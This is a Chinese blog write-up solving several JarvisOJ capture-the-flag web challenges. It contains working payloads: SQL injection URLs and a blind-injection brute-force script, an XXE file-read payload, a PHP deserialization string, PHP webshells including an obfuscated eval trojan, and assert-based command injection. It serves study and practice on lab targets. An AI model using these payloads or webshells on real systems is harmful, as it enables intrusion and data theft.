JarvisOJ Writeup

文章目录
  1. 1. 写在最前
  2. 2. PORT 51
  3. 3. LOCALHOST
  4. 4. Login
  5. 5. 神盾局的秘密
  6. 6. IN A mess
  7. 7. RE?
  8. 8. flag在管理员手里
  9. 9. Chopper
  10. 10. Easy Gallery
  11. 11. Simple Injection
  12. 12. api调用
  13. 13. admin
  14. 14. inject
  15. 15. babayphp

写在最前

前天做了MOCTF,有些遗憾,本来能做出来的题却没能做出来(嚎啕大哭),这次的失误也是因为以前自己做过的题并没有好好总结复习导致的,所以决定重新把之前做过的CTF题翻出来重新做一遍,重新学习吧!
由于难度问题,JarvisOJ上的题我还没有完全全部做完,这里先贴出我已经做出来的题目。
JarvisOJ:https://www.jarvisoj.com

PORT 51


根据提示,这里要使用vps上的51端口去访问,所以使用curl命令去访问即可获取flag。

1
sudo curl --local-port 51 http://web.jarvisoj.com:32770/

flag:PCTF{M45t3r_oF_CuRl}

LOCALHOST


只能由localhost访问,XFF无疑,构造X-Forwarded-For:127.0.0.1即可获取flag。
flag:PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}

Login

打开页面后是一个密码提示框,随意输入数字(比如:123)以后抓包在Repeater中查看,可以看到一条Hint信息。

这里是需要进行单引号绕过,而md5($pass,true)是将md5值转换为16进制数,如果包含or,就能重置构造语句。

参考链接:

1
http://blog.csdn.net/qq_31481187/article/details/59727015

所以直接提交ffifdyop就能获取flag。
flag:PCTF{R4w_md5_is_d4ng3rous}

神盾局的秘密

右键源码以后发现了这个:

c2hpZWxkLmpwZw==经过base64解码以后为shield.jpg,如法炮制,猜测了一下flag.php,不过没有,测试index.php,右键以后发现源码。

里面require到了shield.php这个文件,这里有反序列化,但是不知道构造规则,而且最后调用了readfile()这个函数,所以猜测还存在shield.php的源码,再次base64以后提交查看是否有源代码。

果然这里还是有源代码的,并且readfile()这个函数就出自这个文件,读了一下代码发现构造的文件不为空且不能含有..和/以及\,成功读取以后就能返回需要的文件。
所以利用的还是PHP反序列化漏洞,根据代码提示,flag在pctf.php这个文件中,所以这里要读取的就是这个文件。
构造脚本写出反序列化代码:

1
2
3
4
5
6
7
8
9
10
<?php

class Shield
{
public $file="pctf.php";
}
$will=new shield();
print_r(serialize($will));

?>

1
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

因为是在index.php里面包含的shield.php,所以是在这里调用class参数构造反序列化。
最后访问:

1
http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

得到flag。

IN A mess

OK,右键源码index.phps找到代码,开始审计。

id==0弱类型设置为a(或者其他字母),a这里file_get_contents($a,’r’);这个函数果断php://input,b的话长度大于5并且要绕过ereg和substr,所以直接%00截断。

获取字段:^HT2mCpcvOLf

测试以后发现sql注入,并且爆出表名content。

开始绕sql注入,首先发现过滤了空格

1
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=-1/*123*/ununionion/*123*/selselectect/*123*/1,2,3%23

回显出列数为3。
测试过程中发现其还过滤了from,但没有过滤where。

1
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=-1/*123*/ununionion/*123*/selselectect/*123*/1,2,group_concat(table_name)/*123*/frfromom/*123*/information_schema.tables/*123*/where/*123*/table_schema=0x74657374%23

表名只有content,和之前报错出来的一样,下面注列。

1
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=-1/*123*/ununionion/*123*/selselectect/*123*/1,2,group_concat(column_name)/*123*/frfromom/*123*/information_schema.columns/*123*/where/*123*/table_name=0x636F6E74656E74%23

注出列有:id,context,title。
修改注入语句拿flag。

1
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=-1/*123*/ununionion/*123*/selselectect/*123*/1,2,concat(id,context,title)/*123*/frfromom/*123*/content%23

flag:PCTF{Fin4lly_U_got_i7_C0ngRatulation5}

RE?

点进去以后直接就是一个文件下载,下载出来的文件为

1
udf.so.02f8981200697e5eeb661e64797fc172

udf?
UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。
这里参考到了一篇文章,关于Mysql的udf提权: https://www.404sec.com/7815.html
简单来说,udf是为了拓展功能而可以自行添加函数,不过添加的函数为恶意函数就能导致代码执行,OK,返回题目,题目给出的提示是“不过里面有个help_me函数挺有意思的哦”,那就是说这里需要创建自定义函数了。
创建自定义函数的语法:create function 函数名 returns string soname ‘导出的DLL路径’;
现在,把这个文件通过命令

1
wget https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172

直接导入位于Ubuntu(我的版本是14.04)下的mysql目录:/usr/lib/mysql/plugin中,然后启动mysql。

1
mysql -u root -p

如果没有配置相关环境,可以参考我的这篇博客:

1
https://willardtm.github.io/2018/02/10/Ubuntu%E6%90%AD%E5%BB%BA%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83/

创建自定义函数。

1
mysql> create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';

访问自定义函数。

1
mysql> select help_me();


get到提示以后再次创建自定义函数。

1
mysql> create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';

访问自定义函数。

1
mysql> select getflag();


成功获取flag:PCTF{Interesting_U5er_d3fined_Function}

flag在管理员手里

抓包以后发现role和hsh这两个参数很可疑,role是经过了两次URL加密后的guest,但是hsh不能被md5解密,所以我修改为s:5:”admin”;按照其两次URL加密的方式提交,只有一行报错信息,但似乎没有什么用?
于是我猜想可能会有源码泄露,果然,源码泄露在index.php~下面,OK,获取源码,但是查看完源码以后发现源码是坏的,vim -r只能恢复swap文件,所以重命名index.php~为index.php.swp,再vim -r index.php.swp即可恢复。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>

现在是一波代码审计,从role===”admin”这里看来,我之前的猜测不错,并且hsh值要等于加盐的admin值最后才能拿到flag,这里又是hash拓展长度攻击了…这个之前就一直没搞懂,这里先放一下,立一个严肃的flag,三月底前学会这个hash拓展长度攻击。

Chopper

这个题有一丢丢的脑洞在里面,既然是一句话木马,我就联想到文件上传里面包含的一句话,所以就把首页上那个菜刀图给下载了下来,然后Notepad++打开去搜php,2333但是关注点确实不在这里。
右键查看源码,这张图片的链接很奇怪,如下图:

然后点击管理员登录后/admin显示Forbidden,但是右键源码以后可以看到一组管理员ip(103.27.76.153)提示,虽然这题的Cookie值里也有role这一条,不过没什么用。
所以重新构造URL:

1
http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin

网站进行扫描以后发现admin目录下有robot.txt这个文件,点开以后里面是:

1
2
3
User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt

把trojan.php保存下来运行

1
<?php ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>

运行以后出现报错信息:

1
Warning: assert() [function.assert]: Assertion "eval($_POST[360])" failed in C:\phpstudy\WWW\b.php on line 1

所以密码就是360,最后构造URL:

1
http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/trojan.php

POST的数据为:

1
360="ls"

获取flag:CTF{fl4g_1s_my_c40d40_1s_n0t_y0urs}

题目上一开始就提到,“如果一个漏洞解决不了,那就…”,所以这里我估计至少得有两个漏洞用来利用。
然后,熟悉的文件上传,但是直接新建txt文件加入一句话木马后改后缀为.jpg仍然被提示请上传jpg或者gif,我查了一下,这里用的是MIME检测而不是后缀名检测。
参考资料:

1
http://blog.csdn.net/xiaojianpitt/article/details/6856536

所以重新找了一张图在最后写入一句话木马然后成功上传,上传成功以后生成了一个图片ID,通过访问下面链接就能访问到上传的图片。

1
http://web.jarvisoj.com:32785/show.php?id=1518677292&type=jpg


到这里以后要留意一个东西上传图片是index.php?page=submit,访问查看图片却是index.php?page=view,测试一下是否是文件包含。

测试成功,这里确实是文件包含,所以构造:

1
http://web.jarvisoj.com:32785/index.php?page=uploads/1518679392.jpg

发现后面拼接了一个.php,用%00截断:

1
http://web.jarvisoj.com:32785/index.php?page=uploads/1518679392.jpg%00

但是这里却出问题了,页面上提示说:You should not do this!这里应该是一句话木马里的相关参数被过滤掉了,所以要重新修改一句话木马。

1
<script language="phP">@eval($_POST['w']);</script>

重新上传,重复上述步骤,最后就能获得flag。

flag:CTF{upl0ad_sh0uld_n07_b3_a110wed}

拿到flag以后我又做了一个测试,我上传了一张干净的图片,也是用上面的访问方法再%00截断,但是什么都没有,所以这题就是文件上传+文件包含的题目了,如果上传的文件里的一句话木马被成功解析并且被访问到,就能获取flag。

Simple Injection

好吧,其实我挺怕这类题的,有时候看到估计就直接懵了……诶,逃得过初一逃不过十五,该来的还要来…那就做吧。
测试以后,发现username和password是分开判断的,用户名admin,密码123456提示密码错误,但是用户名willard,密码123456却提示用户名错误,因此判断是根据用户名在数据库中查询密码是否存在。

1
username=admin'#&password=123456

提示密码错误,说明没有过滤’#

1
username=admin' or 1=1#&password=123456

提示用户名错误,应该是过滤了空格,空格用/**/代替。

1
username=admin'/**/or/**/1=1#&password=123456

OK,提示密码密码,这里也没有过滤or。

1
username=user'/**/or/**/exists(select/**/*/**/from/**/admin)#&password=123456

返回密码错误,说明存在admin表;

1
username=user'/**/or/**/exists(select/**/count(*)/**/from/**/admin)#&password=123456

返回密码错误,说明admin表里面只有一条记录,so perfect,所以接下来要判断记录长度了。

1
username=user'/**/or/**/(select/**/length(password)/**/from/**/admin)>31#&password=123456

返回密码错误,最后确定密码就是32位,果断md5加密后的密码!诶,再做一遍还是能学习到不少东西的…比如学会了神奇的脚本sql大法!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python
#coding=utf-8

import requests

def main():
result=""
url="http://web.jarvisoj.com:32787/login.php"
data={
'username':'xx',
'password':'123456'
}
payload="'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),{0},1))>{1}#"
chars="0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"
for i in range(1,33):
for j in chars:
char_ascii=ord(j)
sql_payload=payload.format(i,char_ascii)
data['username']=sql_payload
#因为注入点在username上
rep=requests.post(url=url,data=data)
length=len(rep.text)
if length>1191:
result+=j
print result
break
print result
print "Done"

if __name__=="__main__":
main()


md5解码后为:eTAloCrEP
成功登录:flag:CTF{s1mpl3_1nJ3ction_very_easy!!}

api调用

看到那个熟悉的框框以后我的第一反应就是XXE(之前在SWPUCTF中做过类似的),推荐一篇关于XXE漏洞的分析:

1
https://thief.one/2017/06/20/1/

直接构造xml语句POST,再把Content-Type修改为application/xml:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data[
<!ENTITY file SYSTEM "file:////home/ctf/flag.txt">
]>
<data>&file;</data>


flag:CTF{XxE_15_n0T_S7range_Enough}

admin

挺简单的一道题,打开以后是index.php,抓包以后没有发现特殊的地方,也不是源码泄露,然后就想到了robots.txt,打开以后有提示:

1
Disallow: /admin_s3cr3t.php

修改链接,抓包以后COOKIE参数里的参数admin=0,修改admin=1就能拿到flag。
flag:flag{hello_admin~}

inject

题目HINT已经说了找源码,测试以后在index.php~下找到源码。

源码下面有一个不知道是什么的Filter过滤(撑脸…),所以只能自己测试,desc是降序排列,desc后面跟着,在sql里面,两个连续的`可以被看作空格,注入语句如下:

1
http://web.jarvisoj.com:32794/index.php?table=flag` `where 1=2 union select 1

成功注入:

修改select 1为select 1,2测试以后只有1列,下面查表:

1
http://web.jarvisoj.com:32794/index.php?table=flag` `where 1=2 union select TABLE_NAME from information_schema.tables


获取表名,下面查列:

1
http://web.jarvisoj.com:32794/index.php?table=flag` `where 1=2 union select COLUMN_NAME from information_schema.columns

拿flag:

1
http://web.jarvisoj.com:32794/index.php?table=flag` `where 1=2 union select  flagUwillNeverKnow from secret_flag

flag:flag{luckyGame~}

babayphp


看到Git猜测有Git源码泄露,进行测试:

1
http://web.jarvisoj.com:32798/.git/config


果然如此,上GitHacker!源码有两部分组成,一个index.php,还有template下面的几个php文件,除了index.php,其他的没用。
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">

<title>My PHP Website</title>

<link rel="stylesheet" href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
</ul>
</div>
</div>
</nav>

<div class="container" style="margin-top: 50px">
<?php
require_once $file;
?>
</div>
<script src="http://code.jquery.com/jquery-latest.js" />
<script src="http://libs.baidu.com/bootstrap/3.0.3/js/bootstrap.min.js" />
</body>
</html>

这次的代码审计很简单,看到assert的时候(苍蝇式兴奋搓脚)这果断代码执行!
但是它有一个文件检测机制,所以构造的时候先构造一个存在于templates的文件,比如之前通过GitHacker拿下来的flag.php,再加上代码执行语句。

1
http://web.jarvisoj.com:32798/?page=flag'.system("ls").'


1
http://web.jarvisoj.com:32798/?page=flag'.system("ls templates/;").'


1
http://web.jarvisoj.com:32798/?page=flag'.system("cat templates/flag.php;").'

这里差一点就被骗了,因为执行以后页面显示的还是That file doesn’t exist!但是机智的我还是右键源码了一下…所以flag到手。

flag:61dctf{8e_careful_when_us1ng_ass4rt}

暂时就先写到这里,后续做了会把做好的题目加上去~